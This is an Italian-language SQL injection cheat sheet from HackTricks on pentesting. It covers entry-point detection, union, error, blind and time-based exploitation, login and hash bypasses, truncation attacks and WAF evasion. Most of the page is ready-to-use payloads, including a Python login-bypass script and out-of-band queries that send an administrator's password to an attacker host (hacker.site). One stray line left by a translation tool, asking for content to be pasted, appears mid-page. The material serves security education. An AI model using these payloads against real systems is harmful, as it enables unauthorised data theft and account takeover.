SQL Injection

Reading time: 22 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos'è SQL injection?

Una SQL injection è una vulnerabilità di sicurezza che permette agli attaccanti di interferire con le query del database di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di visualizzare, modificare, o cancellare dati a cui non dovrebbero avere accesso, incluse informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono provocare cambiamenti permanenti nella funzionalità o nel contenuto dell'applicazione oppure la compromissione del server o un denial of service.

Individuazione del punto di ingresso

Quando un sito sembra essere vulnerabile a SQL injection (SQLi) a causa di risposte anomale del server a input correlati a SQLi, il primo passo è comprendere come iniettare dati nella query senza interromperla. Questo richiede l'identificazione del metodo per uscire dal contesto corrente in modo efficace. Ecco alcuni esempi utili:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Poi, devi sapere come correggere la query in modo che non dia errori. Per correggere la query puoi inserire dati in modo che la query precedente accetti i nuovi dati, oppure puoi semplicemente inserire i tuoi dati e aggiungere un simbolo di commento alla fine.

Nota che se puoi vedere messaggi di errore o se riesci a individuare differenze quando una query funziona e quando non funziona, questa fase sarà più semplice.

Commenti

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confermare con operazioni logiche

Un metodo affidabile per confermare una vulnerabilità da SQL injection consiste nell'eseguire un'operazione logica e osservare i risultati attesi. Per esempio, un parametro GET come ?username=Peter che restituisce contenuto identico quando modificato in ?username=Peter' or '1'='1 indica una vulnerabilità da SQL injection.

Allo stesso modo, l'applicazione di operazioni matematiche è una tecnica di conferma efficace. Ad esempio, se accedere a ?id=1 e ?id=2-1 produce lo stesso risultato, è indicativo di SQL injection.

Esempi che dimostrano la conferma con operazioni logiche:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Questa word-list è stata creata per tentare di confermare SQLinjections nel modo proposto:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Conferma tramite temporizzazione

In alcuni casi non noterai alcuna modifica sulla pagina che stai testando. Perciò, un buon modo per discover blind SQL injections è far eseguire al DB azioni che avranno un impatto sul tempo necessario al caricamento della pagina.
Perciò, andremo a inserire con concat nella query SQL un'operazione che richiederà molto tempo per completarsi:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In alcuni casi le sleep functions non saranno consentite. Allora, invece di usare quelle funzioni puoi far sì che la query esegua operazioni complesse che impiegheranno diversi secondi. Esempi di queste tecniche saranno commentati separatamente per ciascuna tecnologia (se presenti).

Identificazione del back-end

Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti usare le sleep functions della sezione precedente o queste ones (table from payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Inoltre, se hai accesso all'output della query, puoi far stampare la versione del database.

tip

Di seguito discuteremo diversi metodi per sfruttare differenti tipi di SQL Injection. Useremo MySQL come esempio.

Identificazione con PortSwigger

SQL injection cheat sheet | Web Security Academy

Sfruttare Union Based

Rilevare il numero di colonne

If you can see the output of the query this is the best way to exploit it.
Prima di tutto, dobbiamo scoprire il numero di colonne che la richiesta iniziale restituisce. Questo perché entrambe le query devono restituire lo stesso numero di colonne.
Two methods are typically used for this purpose:

Order/Group by

To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Seleziona sempre più valori null finché la query non è corretta:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Dovresti usare null valori poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso.

Estrarre i nomi dei database, i nomi delle tabelle e i nomi delle colonne

Negli esempi seguenti recupereremo i nomi di tutti i database, i nomi delle tabelle di un database e i nomi delle colonne di una tabella:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Esiste un modo diverso per scoprire questi dati in ogni database, ma la metodologia è sempre la stessa.

Sfruttamento Hidden Union Based

Quando l'output di una query è visibile, ma una union-based injection sembra irrealizzabile, ciò indica la presenza di una hidden union-based injection. Questo scenario spesso porta a una situazione di blind injection. Per trasformare una blind injection in una union-based, è necessario ricostruire la query eseguita nel backend.

Questo può essere ottenuto usando tecniche di blind injection insieme alle tabelle predefinite specifiche del Database Management System (DBMS) target. Per comprendere queste tabelle predefinite, è consigliabile consultare la documentazione del DBMS target.

Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una union query viene aggiunta al tuo payload, permettendo lo sfruttamento della appena accessibile union-based injection.

Per approfondimenti più completi, consulta l'articolo completo disponibile su Healing Blind Injections.

Sfruttamento Error based

Se per qualche motivo non puoi vedere l'output della query ma puoi vedere i messaggi di errore, puoi sfruttare questi messaggi di errore per ex-filtrate i dati dal database.
Seguendo un flusso simile a quello dello sfruttamento Union Based, potresti riuscire a dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Sfruttare Blind SQLi

In questo caso non puoi vedere i risultati della query o gli errori, ma puoi distinguere quando la query restituisce una risposta true o false perché ci sono contenuti diversi nella pagina.
In questo caso, puoi abusare di quel comportamento per dump the database char by char:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Questo è lo stesso caso di prima ma invece di distinguere tra una risposta true/false dalla query puoi distinguere tra un errore nella query SQL o meno (forse perché l'HTTP server crashes). Pertanto, in questo caso puoi forzare un SQLerror ogni volta che indovini correttamente il char:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Sfruttare Time Based SQLi

In questo caso non c'è alcun modo per distinguere la risposta della query in base al contesto della pagina. Tuttavia, puoi far sì che la pagina impieghi più tempo a caricarsi se il carattere ipotizzato è corretto. Abbiamo già visto questa tecnica in uso in precedenza per confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Puoi usare stacked queries per eseguire più query in successione. Nota che, sebbene le query successive vengano eseguite, i risultati non vengono restituiti all'applicazione. Pertanto questa tecnica è principalmente utile per blind vulnerabilities, dove puoi usare una seconda query per innescare una lookup DNS, un errore condizionale o un ritardo temporale.

Oracle non supporta stacked queries. MySQL, Microsoft e PostgreSQL li supportano: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Se nessun-altro metodo di exploitation ha funzionato, puoi provare a far sì che il database esfiltri le informazioni verso un host esterno controllato da te. Per esempio, tramite query DNS:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Esfiltrazione di dati out-of-band via XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Sfruttamento automatizzato

Consulta il SQLMap Cheatsheet per sfruttare una vulnerabilità SQLi con sqlmap.

Informazioni specifiche per tecnologia

Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità SQL Injection. Trova altri trucchi dipendenti dalla tecnologia del database in questo libro:

Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Elenco da provare per aggirare la funzionalità di login:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Questa query evidenzia una vulnerabilità quando MD5 viene usato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttarla costruendo input che, una volta calcolato il loro hash, producono parti di comandi SQL inattese, portando ad accesso non autorizzato.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista consigliata:

Dovresti usare come username ogni riga della lista e come password sempre: Pass1234.
(Questi payload sono anche inclusi nella grande lista menzionata all'inizio di questa sezione)

GBK Authentication Bypass

Se ' viene escaped puoi usare %A8%27, e quando ' viene escaped verrà creato: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script Python:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Istruzione INSERT

Modificare la password di un oggetto/utente esistente

Per farlo dovresti provare a create a new object named as the "master object" (probabilmente admin nel caso di utenti) modificando qualcosa:

  • Create user named: AdMIn (maiuscole e minuscole)
  • Create a user named: admin=
  • SQL Truncation Attack (quando c'è un qualche limite di lunghezza nel nome utente o nell'email) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

Se il database è vulnerabile e il numero massimo di caratteri per il username è per esempio 30 e vuoi impersonare l'utente admin, prova a creare un username chiamato: "admin [30 spaces] a" e qualsiasi password.

Il database verificherà se il username introdotto esiste dentro il database. Se no, esso taglierà il username al numero massimo di caratteri consentito (in questo caso a: "admin [25 spaces]") e poi rimuoverà automaticamente tutti gli spazi finali aggiornando nel database l'utente "admin" con la nuova password (potrebbe apparire qualche errore ma questo non significa che non abbia funzionato).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Anche se le comparazioni ignorano ancora di default gli spazi finali, tentare di inserire una stringa più lunga della lunghezza di un campo produrrà un errore e l'inserimento fallirà. Per maggiori informazioni su questo controllo: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Aggiungi tanti ','','' quanti ritieni necessari per uscire dalla clausola VALUES. Se il delay viene eseguito, hai una SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clausola ON DUPLICATE KEY UPDATE in MySQL viene utilizzata per specificare le azioni che il database deve eseguire quando si tenta di inserire una riga che provocherebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. L'esempio seguente dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:

Esempio Payload Injection:

Un injection payload potrebbe essere creato come segue, in cui si tenta di inserire due righe nella tabella users. La prima riga è un'esca, e la seconda prende di mira l'email di un amministratore esistente con l'intento di aggiornare la password:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ecco come funziona:

  • La query tenta di inserire due righe: una per generic_user@example.com e un'altra per admin_generic@example.com.
  • Se la riga per admin_generic@example.com esiste già, la clausola ON DUPLICATE KEY UPDATE viene attivata, indicando a MySQL di aggiornare il campo password della riga esistente a "bcrypt_hash_of_newpassword".
  • Di conseguenza, si può poi tentare l'autenticazione usando admin_generic@example.com con la password corrispondente al bcrypt hash ("bcrypt_hash_of_newpassword" rappresenta il bcrypt hash della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).

Estrarre informazioni

Creare 2 account contemporaneamente

Quando si tenta di creare un nuovo user, sono necessari username, password e email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Uso del decimale o esadecimale

Con questa tecnica puoi estrarre informazioni creando un solo account. È importante notare che non è necessario commentare nulla.

Usando hex2dec e substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Non hai fornito il contenuto. Per favore incolla qui il testo di src/pentesting-web/sql-injection/README.md che vuoi tradurre oppure fornisci il comando/output da cui recuperarlo.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex e replace (e substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection è una situazione in cui la query iniettabile non è quella che produce l'output, ma l'output della query iniettabile viene passato alla query che produce l'output. (From Paper)

Esempio:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Bypass iniziali da qui

No spaces bypass

No Space (%20) - bypass usando alternative agli spazi bianchi

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass usando commenti

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass usando parentesi

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass usando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses generici

Blacklist che utilizza keywords - bypass tramite uppercase/lowercase

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist che usa parole chiave case-insensitive - bypass tramite un operatore equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Notazione scientifica WAF bypass

Puoi trovare una spiegazione più approfondita di questo trucco nel gosecure blog.
Fondamentalmente puoi usare la notazione scientifica in modi inaspettati per bypassare il WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Prima di tutto, nota che se la query originale e la tabella da cui vuoi estrarre la flag hanno lo stesso numero di colonne puoi semplicemente fare: 0 UNION SELECT * FROM flag

È possibile accedere alla terza colonna di una tabella senza usare il suo nome usando una query come la seguente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, quindi in un sqlinjection questo sarebbe:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Oppure usando un comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Questo trucco è stato preso da https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Se l'input dell'utente viene concatenato nella lista SELECT o negli identificatori di tabella/colonna, prepared statements non aiutano perché bind parameters proteggono solo i valori, non gli identificatori. Un pattern vulnerabile comune è:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Idea di sfruttamento: iniettare una subquery nella posizione del campo per esfiltrare dati arbitrari:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Note:

  • Questo funziona anche quando la WHERE clause usa un parametro vincolato, perché la lista di identificatori viene comunque concatenata come stringa.
  • Alcuni stack permettono inoltre di controllare il nome della tabella (tablename injection), abilitando letture cross-table.
  • Gli output sinks possono riflettere il valore selezionato in HTML/JSON, consentendo XSS o l'esfiltrazione di token direttamente dalla risposta.

Mitigazioni:

  • Non concatenare mai identificatori provenienti dall'input utente. Mappa i nomi di colonna consentiti in una allow-list fissa e quotare gli identificatori correttamente.
  • Se è necessario l'accesso dinamico alle tabelle, limitalo a un insieme finito e risolvilo server-side da una mappatura sicura.

Strumenti suggeriti per il bypass WAF

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Altre guide

Elenco per rilevamento Brute-Force

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks